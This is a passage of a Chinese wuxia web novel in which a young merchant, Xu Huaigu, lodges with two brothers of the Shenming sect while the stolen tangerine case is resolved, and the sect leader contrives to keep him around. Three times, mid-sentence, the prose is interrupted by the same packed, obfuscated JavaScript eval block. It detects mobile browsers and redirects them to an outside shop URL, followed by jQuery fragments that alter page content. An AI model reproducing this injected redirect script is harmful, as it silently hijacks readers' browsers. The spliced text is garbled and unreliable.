少年闻言，连忙附和：“对对对。城中那些人耳目极灵，稍有风吹草动便一清二楚。你孤身在外，毫无依仗，回去便是自投罗网。” 虚怀谷握着斗笠的手指微微收紧。他原是对那少年的话有几分抵触，但这白发人却言谈恳切，不偏不倚，讲明道理，也颇为他着想。如此，虚怀谷也不好连累他人，便眉头微蹙：“可我若留在此处，岂不是连累二位？” 那少年忍不住噗嗤一笑，想说什么，却看了看白发人，闭上了嘴巴。 “连累谈不上。”白发人仿佛没听见少年的笑声，只是缓缓道：“这丹橘一事，与我教事务相关，我本来就要查明真相。既然你我目的相同，你可以当成是一次合作。这不是寻常商贾纠纷，背后牵扯江湖势力，不是你一个小小行商可以应付的。你若贸然行事，不仅会打草惊蛇，还可能白白送了性命。” 虚怀谷听出来了，这批橘子可能牵扯了某些江湖势力，包括眼前二人。他一个不会武功的普通人掺和其中，确实容易坏事。 其实虚怀谷执意要查明此事，一来如他刚才所说，有自己的想法和道义所在。日后他还想做这丹橘的买卖，就不能坏了丹橘的名声。再一个，他虽然转做行商，但骨子里还是有读书人的风骨所在，不能眼看着洪老板出了事却不闻不问，当作无事发生。而且眼前这白发人有武功在身，若真不想让他走，他也是走不了的，倒不如留下看看情况。 “既然如此，我便留下。只是我客栈里还有行李……” 那少年道：“这个你放心，我让人给你取来就是。” 虚怀谷见状也无话再说，便拱手道：“如此，就托付二位了。在下姓虚，名怀谷，不知二位如何称呼？” 少年笑道：“你这姓氏还挺少见，名字也有趣，虚怀谷，可是取自虚怀若谷之意？” 虚怀谷道：“正是。” 少年看了一眼身旁人，见他没说话，便道：“我姓柳，柳慕风。倾慕的慕，可不是别的慕。” “柳公子。”虚怀谷向他抱拳，又看向那神秘的白发人。 白发人淡淡道：“柳随风。” 柳慕风，柳随风，这两个名字听起来就有亲戚关系。若不是那人一头白发，恐怕有些年纪，虚怀谷都要怀疑这二人是兄弟了。 莫非是父子？那也不像啊。 虚怀谷心下揣测，面上却是不显，只拱手行礼：“柳前辈。” 柳慕风奇道：“你为何管我叫‘公子’，管他叫‘前辈’？” 那还用问，当然是因为年纪啊。 虚怀谷被他乍然一问，一时都不知该如何解释。 好在那柳随风及时打断：“好了。今日天色已晚，慕风，你带虚老板去后院休息，好生招待。虚老板，你且安心呆在此处，静待时机，切莫再擅自行动。” 5. 第 5 章 虚怀谷就这样在柳家的这个院子住了下来，他留在客栈的行李当晚便有人送了来。 次日天刚蒙蒙亮，晨雾还萦绕着别院的青瓦回廊，虚怀谷便已起身。他心中记挂着橘子一事，昨夜睡得并不安稳，此时半点不敢耽搁，简单整理好衣袍便走出了暂住的厢房。 此时他才发现这院子很大，回廊婉转，竟有些分辨不出方向。且院子清晨极静，唯有廊下风铃轻响，庭院里的草木上还沾着晨露。 虚怀谷缓步走在石板路上，目光扫过四周。昨日那柳慕风将他带到厢房时，曾让下人给他送来饭食和行李，但此时他走了这一会儿，院子里却没看见一个仆从，也不知该去哪里找那位柳前辈。 他正暗自思忖间，一个回廊转角，便撞见了一身浅绿色短打打扮的少年，正是昨日那位柳慕风。 少年正举着锄头，在院子的田地里刨着一地作物。虚怀谷看过去，似乎是种了些药材。 少年见虚怀谷走过来，立刻直起身，脸上露出轻快的笑意，主动上前打招呼：“虚大哥，你醒了？倒是起得早啊。” 虚怀谷上前拱手见礼，语气平和：“柳公子，早。不知柳随风前辈此刻在何处？在下想着与他商议丹橘一事，故而前来寻他。” 柳慕风走出田地，放下锄头，在旁边石桌上的水盆里洗了洗手，笑道：“不着急，你还没吃早饭吧？走走走，先跟我用早膳去，不然可是我们待客不周了。”说完擦干净手，领着虚怀谷往前厅而去。 到了外院落座，不多时便有仆从鱼贯而入，送上精致饭菜。一众下人步履轻盈、悄无声息，举止利落规整，一看便是常年严苛训练、底蕴深厚的世家心腹。 世人都说食不言，寝不语。柳慕风看着跳脱活泼、言语随性，可在用餐之时却规矩端正，仪态从容，半点不见少年人的散漫模样，尽显极好的规矩与教养。 虚怀谷看在眼里，暗暗心惊。他一个乡村里出来的穷秀才，还真是第一次见识到这等人家。便是他同窗好友是平阳县出了名的富户，家里也绝没有这样的底蕴，相衬之下就是一个乡下的土财主。 看来这两位柳先生都绝非寻常江湖人士啊。 用过早饭，柳慕风带他来到前厅，坐下喝茶。虚怀谷再次问起柳随风和丹橘一事，柳慕风笑了笑，眼底带着几分狡黠：“他啊？他天不亮就出门了，说是去查昨日那批橘子的源头，临走前特意叮嘱，让我好生照看你，等他回来。” 虚怀谷闻言，眉头不自觉蹙起，道：“我知道柳前辈武功高强，不过说好我们合作，一起调查此事，怎能让柳前辈孤身涉险呢？”他不想做坐享其成之人。 “他身手好，你不用担心。” 虚怀谷叹了口气，认真道：“可是我不能因为柳前辈身手好，就什么事都交给他，我在这里心安理得的坐享其成。柳前辈将我留在此处，是怕我有性命之忧。这等情义，我心中是十分感激的。我也很想为此事出点力。” 柳慕风愣住。他还是第一次听到有人说不能因为他大哥身手好，就理所当然的坐享其成。 哎？莫名地就有点愧疚啊。他这个亲弟弟，好像都没这么为他大哥着想过呢。 他的神色也认真起来，安抚道：“虚大哥不必担心，他行事向来稳妥，断不会轻易涉险的。而且实不相瞒，其实我们都出身神冥教。” 虚怀谷一怔：“神冥教？” “正是。”柳慕风点点头，道：“那洪老板所在的商行，本就是我教下属的一个分支，明着行商走货，暗里为教中打理财物、周转物资。其实洪老板算是我教在外的执事。” 虚怀谷这才恍然大悟，难怪昨晚那柳前辈说这本就是他们教中事务。只是这神冥教他从未听说过。 他对自己很有自知之明。他原本只是龙安州平阳县下辖一个小村庄里的读书人，若不是读了几年书，侥幸考中秀才，有了几分见识，恐怕都没有出来行商的勇气。况且他年纪不大，行商的日子也不长，这还是第一次离开故土来到这么远的范州，说句见识短浅也不为过。 于是他虚心向柳慕风请教了一些关于神冥教的事。 这神冥教传承十分久远，在江湖上也一直亦正亦邪，门派纠葛盘根错节。数十年前天下战火纷飞、诸国纷争不休，神冥教趁势崛起，在武林中树立威名，势力鼎盛一时，无人敢轻易招惹。待到后来天下渐安，明、文二国逐渐收服四方诸国，疆域一统、时局安稳，百姓得以休养生息，神冥教也随之收敛了锋芒，隐匿蛰伏，这些年行事也十分低调。 但这次有人把手伸到了神冥教的地盘上，却是犯了大忌。神冥教自大周朝时期立教，距今已有两百余年，比文国国祚都长，岂容宵小之辈觊觎。当真是老虎不发威拿他当病猫了。 当然，柳慕风没说那么多，只是简单地给虚怀谷讲了一些神冥教的事。虚怀谷一看就不是江湖人，身上还有浓重的书生气，柳慕风也十分好奇，待介绍完神冥教，便问起虚怀谷的身世。 “你居然是个秀才？失敬失敬。”待听到虚怀谷是位秀才公，还曾做过学馆的教书夫子，柳慕风不由敬意大起。等知道他为了照顾几个弟妹，放弃了读书转而行商，更是发自内心地钦佩。 虚怀谷被柳慕风突然变得闪亮起来的眼神看得不好意思，道：“不才多读了几年书而已，当不得柳公子这般敬重。家中弟妹年幼，先父先母过世时尤为放心不下。在下身为长子，自当照料。功名前程本是浮云，安稳度日便好。” 柳慕风不由对虚怀谷刮目相看起来。 二人又聊了几句，虚怀谷便准备回房，将昨日从客栈取回的行李收拾一下。 柳慕风让下人领路，带他回去，前厅便一下空了下来。此时有个身影缓步从后面踱了过来，正是一早就出门的柳随风。 他今日换了一身青衣，头上仍戴着遮面的斗笠，只是进来之后屋内只有他与柳慕风两个人在，便随手将斗笠取下，放到一旁桌上。 若是虚怀谷此时还在，定会大吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495537|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一惊，只因斗笠摘落的瞬间，露出一张浓稠俊美却带着几分冷意的面容。这柳随风剑眉斜飞，高粱深目，一双凤眼凌厉深邃，长得十分俊美，甚至有几分艳丽，看上去最多二十来岁，与他那满头白发十分不匹配。他眉宇间与柳慕风颇有几分相似，显然是有血缘关系，只是气度比柳慕风稳重许多。 柳慕风见他在身旁坐下，脸上露出几分笑容，道：“大哥，你时候回来的？怎么回来得这么快？” 柳随风，不，其实应该叫风随柳。他本姓风，正是神冥教现任教主。他这次出来是秘密行事，不便告知虚怀谷真实姓名，便将名字倒了过来，以柳随风自称。 他淡淡道：“回来不久。我让红岩去继续追踪了。” 其实在柳慕风和虚怀谷坐下不久他便回来了，只是一直隐在后面没有出来，二人的对话他也听得分明。 柳慕风又问：“这一趟出去，查到些什么？” 风随柳却没有立刻回答，手指摩挲着手边的斗笠，漫不经心地道：“你与那虚怀谷倒是相谈甚欢，都聊了些什么？” 柳慕风便将二人刚才说的话转述了一遍。风随柳点点头，道：“世人皆追逐功名利禄，这位虚先生倒是别具一格。” 柳慕风看了他哥一眼，一手支腮，一手扶膝，有些懒洋洋地笑道：“是啊。他一个读书人，甘愿舍弃前程，回家照料弟妹，转而行商，这份担当与情义确实难得。若是我们神冥教能有这样的人才就好了，大哥你说是不是？” 风随柳淡淡地瞥他一眼，警告道：“你别多事。他一个读书人，不会武功，也不懂江湖事，待这件事结束就桥归桥、路归路，不要把他牵扯进来。” 柳慕风撇撇嘴，有些戏谑地道：“大哥，我是敬佩几分他的为人，但也没真打算强拉他入教，不过是随口一提罢了。倒是大哥，对他还真是另眼相待呢。” 风随柳道：“少胡言乱语。不过是见他行事端正，不愿看着他被江湖纷争牵连，平白丢了性命罢了。” 柳慕风挑了挑眉，身子微微前倾，语气里的戏谑意味更重了几分，笑道：“哦？只是这样？” 风随柳眉宇微蹙，神色冷淡了下来，目光锐利地扫向他。 柳慕风见状，微微一凛，往后缩了缩脖子，老老实实地做了个求饶的动作，识趣地道：“知道了知道了，我不说就是了。” 他见风随柳还是盯着自己不说话，忙举手发誓：“真的真的。我只是觉得这位虚先生挺有趣的，与咱们教里常年打交道的那些武夫不同，这才生了几分兴趣。我对他真没恶意。大哥，你知道的，我对读书人一向敬佩。” 风随柳这才道：“慕风，你既然知道他与我们这些江湖人不同，就要掌握好分寸，不要过多的招惹他，更不许在他面前提及教中机密。” “是是是，我知道了。”柳慕风神色十分诚恳，心里却在暗暗腹诽，刚才他和虚怀谷的对话他大哥一定全都听见了，却还要自己复述一遍，也不知是谁想招惹谁呢。 6. 第 6 章 虚怀谷对那兄弟二人的对话一无所知。回到自己的房间，他先将行囊收拾妥当，随即取出纸墨笔砚，铺纸研墨，凝神回想自己贩运来的丹橘诸事。自丹橘的筐数、斤两、定价，乃至与洪老板交易的年月日时、往来地点，凡涉及其间的一言一行、一情一景，皆细细思忖，逐一落笔，认真记录下来，分毫不敢疏漏。 等他将这些细枝末节尽数整理完毕，抬头一看，窗外日头已近中天，一个上午的光阴，竟不知不觉便过去了。 虚怀谷放下毛笔，伸了个懒腰，轻舒筋骨，然后起身走出了屋外。 他刚推门而出，便有一小厮快步上前，躬身行礼，语气恭谨道：“虚先生，不知您有何吩咐？” 虚怀谷闻言，连忙摆手，神色谦和之中又带着几分汗颜，道：“莫要称我为‘先生’，叫我虚老板便是。我不过是个往来贩货的商贾，当不起‘先生’二字。” 他早已弃文从商，哪里还当得“先生”二字。 那小厮闻言，却只是笑了笑，并未改称呼，依旧恭谨问道：“虚先生可是有什么差遣，尽管吩咐小人便是。” 虚怀谷见状，心中无奈，知晓小厮是恪守规矩，也不愿多作为难，便温声问道：“柳前辈回来了吗？” 小厮回道：“先生莫非是问我家家主？家主大人已经回府，此刻正在府中。” 小厮垂首而立，心中却在暗自腹诽：教主让我们把“教主”二字改称为“家主”，实在有些拗口咧。 虚怀谷闻听柳随风已经回来，不由心头一喜，忙上前半步，追问道：“不知柳前辈此刻在何处？可方便与我一见？” 小厮躬身应道：“家主大人正在后院仓房料理事务。先生稍候，小人这便引您前往。” 虚怀谷道：“你等等，我回去取点东西。”他匆匆回房，将上午整理好的记录吹干，仔细折叠起来，收入怀中，这才重新出了房门。 那小厮侧身引路，引着虚怀谷穿廊过院，左拐右绕，不多时便至别院仓房之外。 只见仓房院落中央，风随柳负手而立，身姿挺拔如松，周身气度沉稳，头上仍然戴着斗笠遮面，满头白发落肩。 在他四周整齐码放着数十个箩筐，筐中皆盛满了丹橘，色泽红润，果香隐隐，数量十分壮观。 虚怀谷见状，心头一惊，连忙上前几步，问道：“柳前辈，这些……莫非是丢失的那批丹橘？” 风随柳微微颔首，抬手指向那些箩筐，声音沉稳道：“正是。我的手下方才寻得这批丹橘，已尽数送来。我正欲差人请你前来查看。虚先生请看，这批丹橘的品种、数量，与你贩运而来的那批，是否一致？” 虚怀谷连忙上前，正准备仔细查验每一只箩筐，突然想起什么，连忙从怀中取出上午誊写整齐的记录，递到风随柳面前，道：“柳前辈请看，这是在下今日上午整理的丹橘情况，上面的详情您可一一对照，我们双方共同查验，想必更有把握。” 风随柳没想到他做事如此谨慎仔细，微微一顿，抬手将那几张薄纸接过，展开一看，心下不由对虚怀谷更加生出几分欣赏之意。他突然想起柳慕风那句“若是我们神冥教能有这样的人才就好了”的玩笑话，竟真有几分意动了。 虚怀谷还不知道这位柳前辈已经打上了他的主意，此刻正躬身在这些箩筐前一一检查，又掏出一个随身携带的小算盘，劈里啪啦地盘打了起来。 这小算盘还是他离开家乡之前，特意去平阳县城找最好的匠人帮忙打造的。所谓做一行爱一行，虚怀谷既然打算日后从商，自然要把该学的学起来。当年在学馆时他便学过筹算之术，后来又专门去县城找了位账房先生，教他如何打盘算、看账簿。他头脑聪慧灵活，能十六岁便考中秀才，学些商贾之术自然不在话下。 他一边让人称重箩筐，一边劈里啪啦地拨弄着算盘珠子，十指如飞，看得风随柳有些怔愣。 这人明明一身读书人的清雅书卷气韵，却将盘算打得如此娴熟利落，分毫不乱，竟不输那些经年历练的老账房了。这般截然不同的气度反差，叫风随柳心头暗暗讶异，不由驻足在旁默默观看。 不过小半个时辰，虚怀谷已经清算完毕，缓缓舒了口气，看向风随柳道：“这批丹橘比我之前运来的不少反增，大概多出百余斤左右。想来是因为他们在里面掺杂了许多品相不佳的寻常丹橘，以次充好，混增了我原来的那批货。这几日他们还出货了许多给城里的果行和街巷小贩，如此一进一出，想必我原先那批上等丹橘已经售出了半数左右。” 风随柳点点头。这与他麾下擅数之人探查清算后汇报给他的数量大致相合。 虚怀谷又道：“至于价格方面，虽然卖得比我那批货便宜，但因为货量变多，尽数脱手之后，所得总利应该比预估的多上五成左右。而且他们就在范州城里出货，免去了运往明国的舟车运费、人力劳顿和路途损耗，所得盈利只怕还要再多上两成。” 他长吁口气，又补充了一句：“这等买卖，实在好做。若是无本的买卖……”后续的话他没有出口。洪老板至今下落不明，若是被人杀人截货，那还真成了无本的买卖，其中利润之丰厚，自不用多说。 风随柳道：“洪老板的踪迹尚在追查之中。他乃是本教在外经商的执事，无论生死，但凡牵涉此事之人，皆要付出代价。”他的语调仍然十分温和平淡，然话语之中暗藏的凛冽杀机却分毫不掩，与他温润沉静、从容稳重的气度截然不同。 虚怀谷听得不由心中一震，再看这位柳前辈也生出几分敬畏。 说也奇怪。风随柳此人出身江湖教派，武功高深莫测、为人神秘，以虚怀谷一向谨慎自持的心性，本该敬而远之才是。可不知为何，虚怀谷却觉得这位柳前辈并非那等嗜杀暴戾、草菅人命之辈，反倒觉得他心性坦荡，态度平和。而且虚怀谷能感觉出他对自己没有丝毫轻视看低之意，因而颇有几分好感。 因此虚怀谷没有在意风随柳那暗藏杀意的话，只是轻叹：“但愿能早日寻得洪老板下落。” 风随柳看了他一眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495538|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“倒是耽误了你的生意。待此事了结，我教自会补偿你。” 虚怀谷连忙摆手推辞，道：“不必不必，万万不必。柳前辈将我留下也是为了庇护我的安危。我尚未决定日后的营生谋划，何来耽搁一说。况且此事是因我贩卖的丹橘而起，本就与我息息相关，我本来也是想搞清楚此事的来龙去脉的。” 风随柳闻言也不再多说，看看日头不早，早已到了午时，便请他前往前厅用膳。因他另有事务在身，便没有陪同，而是叫小厮带路。 虚怀谷随着小厮移步前厅，用完午膳，自回了房间不提。 虚怀谷觉得柳前辈未必真有事务在身，只是不方便与他同桌用膳罢了。因为吃饭便要摘掉面纱，而柳前辈显然不愿轻易以真面目示人。 他暗中猜测，许是柳前辈常年行走江湖，刀光剑影缠身，想来是面上留有旧伤，这才以面纱遮掩，不愿轻易示于人前。但想到此处，又不免生出几分惋惜之意。他虽然没有见过柳随风真容，但见其身姿挺拔，气度不凡，言谈温雅，武艺更是高深莫测、利落非凡。这般才貌兼备之人，若当真面上有瑕，未免太过可惜。他心底隐隐觉得，纵然柳随风满头白发，其容貌定是俊朗清逸的，否则怎配得上那一身出尘的气度和泰然的风骨。 虚怀谷心里好奇归好奇，他素来知礼识趣，并没有贸然探问。之后他在这别院中住下，风随柳鲜少露面，倒是柳慕风经常来招待他。 柳慕风性格活泼，爱说爱笑，年岁又与虚怀谷的二弟虚怀明差不多，虚怀谷看见他便想起自家弟弟，因而与他相处得颇为愉快。白日无事时，还主动帮柳慕风一起在院中种植药材。听着柳慕风讲些江湖趣事，又或絮叨着这些药材的功效，虚怀谷偶尔搭句话，二人倒也其乐融融。 相处久了，虚怀谷才知这里是神冥教在范州的一处据点。这几日他也稍微逛了逛，见这别院占地广阔，雕梁画栋，精致华美，即便与范州城内的一些名园相比，也不遑多让。这般气派，足见神冥教财力雄厚，根基深固。 而这西园景致最为清幽，却单独给柳慕风辟出了一处田地栽种药材，这般待遇，可见他在神冥教中的地位不低。 这日虚怀谷忍不住好奇问道：“柳公子，你学医？” “是啊。”柳慕风一边摆弄药材，一边道。 虚怀谷笑道：“想不到你年纪轻轻，竟有这般悬壶济世之心，实在难得。” “过誉了过誉了。”柳慕风摆摆手，语气里添了几分无奈，一边仔细摘捡着手中的药材，一边道：“我也不是自己想学的，是我父亲逼着我学的。” 虚怀谷微微一愣，随即问道：“哦？莫非是家学渊源，需要你继承祖业？” 柳慕风闻言，动作顿了顿，眼底掠过一抹怅然和无奈，叹了口气道：“也算……是吧。父亲见我兄长精通医术，颇得我爹……我娘的欢心，便也逼着我跟我娘学医，半点由不得我。”说罢想起自家那剪不断理还乱的家庭琐事，不由幽幽一叹，眉宇间都染上了几分愁绪。 7. 第 7 章 虚怀谷见状，不好再多问。柳慕风见状，便顺势换了话题，岔开此事。 就这般在别院中住了几日，虚怀谷几次问起丹橘事情的进展，柳慕风始终含糊其辞，只说一切还在探查之中，尚未有定论。 时日一久，虚怀谷心中渐渐有些焦急起来。他本打算在这范州城里停留半月左右，便要北上去明国继续游历做生意。如今眼见半月已过，丹橘一案却依旧没有眉目，洪老板也行踪不明，不由让他忧心忡忡。 他的状态柳慕风都看在眼里。这日入夜，风随柳回来，刚进书房不久，柳慕风便端着一盏热茶，轻步走了进来。 “大哥，丹橘之事已经解决了，你为何不告诉虚先生呢？我看他最近神色郁郁，十分忧心。而且他本来还要去明国经商的，这般一直瞒下去，恐怕会耽误他的生意。” 风随柳缓缓摘下斗笠，置于案边，在书案后从容落座，端过茶盏，慢慢喝了一口，抬眸问道：“他着急了？” 柳慕风略一思忖，道：“这两日瞧着，确实有了几分急切。” 风随柳食指轻轻在桌案上敲了敲，声音平缓无波：“再缓几日。待范州市集上的大批商队尽数启程，再将此事告诉他也不迟。” 如今已进了十月，范州城里欲往明国而去的商队，大多都会赶在十一月前出发。一来北地寒冷，若动身太晚，恰逢严冬，路上必受风霜之苦；二来明国境内水路稀疏，大部分都是陆路，行程辗转，耗时颇久，若想赶在年关之前将货物运到目的地，赚得一笔年钱，就得尽早出发。况且这世间的商人，多愿趁着年关前夕大赚一笔，而后带着今年赚得的银两富贵还乡，与家人团聚，共度新春。 但是这些关节虚怀谷却不甚清楚。他是第一次来范州，未曾经历过此地商路规矩，也无人告知他。若他早知其中缘由，只怕此刻要更加焦灼难安了。 柳慕风闻言，面露诧异之色，问道：“大哥，为何要这么做？虚先生并未得罪我们，这般拖延，是否有些不妥。” 风随柳又饮了一口茶，神色淡然道：“你先前不是还曾感叹，若我们神冥教能得虚怀谷这般人才，是一大助力么？我这般做，不过是帮你将人留下罢了。” 柳慕风讶然：“大哥，你竟想把他留下？” 风随柳瞥他一眼，淡淡道：“是你想。” 柳慕风：…… 他撇撇嘴，一脸无语。他们神冥教底蕴深厚，虽不敢说人才济济，但像虚怀谷这样的，多他不多，少他不少。他犹记当初是谁再三告诫自己，莫要将虚怀谷过多牵扯入教中事务，如今怎的说变就变了？大哥心思深沉，当真令人难以捉摸。 柳慕风与虚怀谷相处多日，对他颇有好感，也生出几分情谊，便试探着劝道：“大哥，虚怀谷只不过是个寻常人，手无缚鸡之力，半点武艺也无，贸然将他纳入我们神冥教，恐怕不妥吧？” 风随柳道：“我自有打算。你只需将人安抚住便是。” 柳慕风无可奈何，只能应了下来。 如此这般，又过了数日，范州市集上的大宗商队已经走得七七八八，风随柳这才寻了个合适的时机，将丹橘一案已经了结的消息告知了虚怀谷。 虚怀谷闻言，欣喜不已，连忙追问：“不知此案如何了结的？洪老板的下落可找到了？” 洪兴城早已命丧江底，那些胆大包天、敢打神冥教主意的人，也早已尽数陪葬。风随柳只是轻描淡写地道：“洪老板已经身故。凡是牵扯此案之人，都已送官查办。此事主谋乃是范州太守的小舅子，如今人已经押送去了逾京，不日便会问斩。” 竟处置得这般干脆利落？ 虚怀谷心中既有几分唏嘘，亦有几分失落。这些日子他一直住在这座神冥教的别院中，什么忙都没帮上，反而需要仰仗柳前辈庇护，想来当真汗颜不已。 想到此事，他便向风随柳提出告辞之意。 风随柳问道：“你日后做何打算？” 虚怀谷拱手答道：“在下已经想好生计。如今案件终于有了结尾，我也可以出门了。我想去西市采买一批江南有名的桂花酿，趁着年前运往明国遥京，做一桩买卖。” 风随柳沉吟片刻，缓缓道：“也好，我此番来范州，本也有替教中采买商货的打算，不如与你同往。” 虚怀谷顿时有些受宠若惊，忙道：“不必劳动柳前辈大驾，我自己去便好。” 风随柳淡淡摇头：“无妨，顺路而已，一同前往，倒也省心。” 虚怀谷想起二人第一次相遇便是在西市街口，这般缘分，再推辞反而显得生分了。便也不再坚持，与风随柳一起出了门，还随口问了一句：“柳公子不一起随行吗？” 风随柳语气平淡地道：“他出来这些时日，终日闲散，武功都荒废了。我令他留于院中闭门练功，补回往日落下的功课。” 虚怀谷闻言，想起自己当年埋头苦读的日子，不由生出几分同情之意，但再多便没有了。江湖人，没有武艺傍身确实不行。这些日子柳慕风不是在鼓捣草药就是在陪他说话，确实没怎么见他练功。 神冥教这座别院坐落在城外，靠山面江，周围风景十分优美。风随柳安排了一辆马车，邀请虚怀谷同乘。 马车车厢四面漆黑，檐角挂铃，未做多余雕饰，看上去朴素得很，但掀开车帘入内，虚怀谷却是微微睁大了双眼。 只见车厢内壁铺着一层极软的云纹锦缎，中间摆着一个紫檀木矮几，几面光润如玉，暗嵌银丝缠枝纹；座椅上铺着整张狐裘，毛锋细软，坐上去暖意融融；脚下也铺着厚厚的羊绒毡毯，踩上去无声无息。矮几上摆着手炉，还有白玉茶盏和精致的点心。当真处处都透着不事张扬的奢华，可见主人身份不凡。 虚怀谷望着车厢内那低调却难掩贵气的陈设，若非风随柳还在身后等候，他竟一时不敢抬脚迈进去。 怎么说呢，这般精致奢华的所在，与自己寻常布衣的身份当真是格格不入呢。 他局促地敛了敛衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495539|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖，小心翼翼地进了马车，在座椅边缘处坐下，身子绷得笔直，连呼吸都放轻了几分。 风随柳随后上了车，抬手轻叩车厢壁，示意车夫启程，而后神色淡然地在中间主位上落座。 他与虚怀谷相邻而座，神态却是从容不迫，举手投足间俨然与这车厢里的贵气浑然一体。 “虚先生，请喝茶。”风随柳抬手执起案上的白玉茶壶，动作优雅从容，壶嘴微倾，清冽的茶水缓缓注入白玉茶盏，竟没有半分溢出，动作间全是一种久居上位的闲适与优雅。 “哦……多谢柳前辈。”虚怀谷连忙接过茶盏，指尖触到玉盏的温润冰凉，心头又是一跳，只敢轻轻抿了一小口。 茶水入喉，清甘醇厚，茶香瞬间在舌尖蔓延开来，回味悠长，比他这几日在别院中饮到的上好茗茶还要醇厚几分。他虽不通茶道，却也能分辨得出这茶叶绝非寻常人家能喝到的凡品，定是上等名茶。 呼…… 虚怀谷不由心底暗叹一声：这位柳前辈，当真是富贵逼人。 原本这几日他与柳慕风相交，本已有了交友之念，但此刻却真切地感受到自己与柳前辈之间隔着云泥之别。虽说风随柳平素待他温和谦逊，毫无半分贵人的架子，可二人的出身、境遇，终究是两个截然不同的世界。 虚怀谷暗暗敛了心神，暗中提醒自己切记二人身份有别，万万不可因风随柳的温和便失了分寸，忘记自己的本分。 风随柳对他这番心事却是不知的。他话不多，一路上并未多言，却也不显得尴尬。虚怀谷谈及当年读书的旧事、经商时听说的传闻等等，他都会耐心地应答几句，言语简洁却句句中肯。这般一来二去，虚怀谷心中的局促渐渐消失，身子也放松下来，不再似刚开始那般坐立不安，渐渐也能放开性子，与风随柳闲谈几句。 进了城，马车到了西市街口缓缓停下。风随柳掀开车帘，目光扫过街口的人流，对虚怀谷道：“我还有些事务要办，先与虚先生暂时别过。待午时三刻，我们在城中的凤来阁汇合。” 虚怀谷应了。 风随柳目送他下了马车，待他的身影消失在街头，这才让马车重新启程。 虚怀谷兴致勃勃地冲进市集，心里早已将此番要采买的货物一一列明，盘算着寻几家靠谱的货商速战速决。谁知他接连寻了三家主营江南货物的商号，掌柜的皆是面露难色，称大宗的桂花酿早已被北上的商队抢购一空，余下的零星几坛，都是留着供应给本地商户的，便有多些的，也早已被人预订。以他要购买的货量，至少要等上半月乃至一月之久才能货齐，但那时再出发，早已错过了北上的最佳时机，根本赶不及在年关前将货物运至明国腹地。 虚怀谷心中一片哇凉。他打探了一上午，不知不觉间已至正午，日头高悬，阳光晃眼。 虚怀谷此时又累又饿，心情沮丧，连脚步都沉重了几分。他想起与柳前辈的约定，便强打起精神，拂了拂衣袍上的尘土，朝着凤来阁的方向而去。 8. 第 8 章 凤来阁乃是范州城中最负盛名的酒楼，楼高三层，青砖黛瓦，朱门雕窗，气派非凡，往来皆是城中权贵和富商巨贾。 虚怀谷之前就从这里路过过，但并没有进来过。因为以他如今的身家来说，凤来阁过于铺张奢华了。若非与柳前辈有约，他怕是这辈子都不会主动踏足这种顶级的高档酒楼。 刚至凤来阁门口，守在门前的店小二便眼疾手快地迎了上来，脸上堆着热情的笑意，躬身问道：“客官里边请，不知客官是独自用餐，还是与友人相约？” 虚怀谷定了定神，道：“我与一位柳姓前辈相约在此，劳烦小二哥通传一声。” 店小二闻言，立刻神情一变，脸上堆笑，那笑容比之前更加谦恭和谄媚：“原来是柳公子的贵客！客官这边请，柳公子早已在三楼雅间等候多时了。”说罢，便恭敬地在前引路，领着虚怀谷拾级而上，一路上脚步轻缓，态度十分恭谨。 虚怀谷因为心事重重，并未留意店小二神态上的变化，只是心不在焉地跟着他走。 行至三楼一间雅间门前，店小二停下脚步，轻轻叩了叩门，恭声道：“柳公子，您约的客人到了。” 屋内传来一声清冷低沉的声音：“进来。” 店小二连忙推开房门，侧身躬身，做了个请的手势，恭敬道：“客官，请进。” 虚怀谷深吸一口气，抬步走了进去。只见雅间内陈设雅致，临窗的位置摆着一张梨花木桌，风随柳正倚窗而坐，头上依旧戴着那顶斗笠，帽檐微微低垂，遮住了大半面容，只露出线条利落的下颌，周身萦绕着一股清冷疏离的气息，与这热闹的酒楼格格不入。 风随柳临窗而坐，其实刚才便已经远远看见了虚怀谷。 彼时虚怀谷浑身都笼罩着一股郁郁的沮丧之气，走路都是步履沉重、无精打采的。可是到了凤来阁门前，他却陡然振作起了精神，抖了抖衣摆，又拍了拍自己的面颊，做出一副精神抖擞的样子，甚至还几番深呼吸，做足了准备，这才仰首挺胸的走了进来。 他却不知自己这番笨拙又认真的神态，尽数落入了三楼窗边的风随柳眼底。 风随柳不知不觉唇角弯起，露出了一抹浅浅的笑意。他心头微动，只觉原来给人印象沉稳的虚先生，竟藏着这般憨态可爱的模样，平日竟是故作老成，其实心性纯粹赤诚，格外惹人怜爱呢。 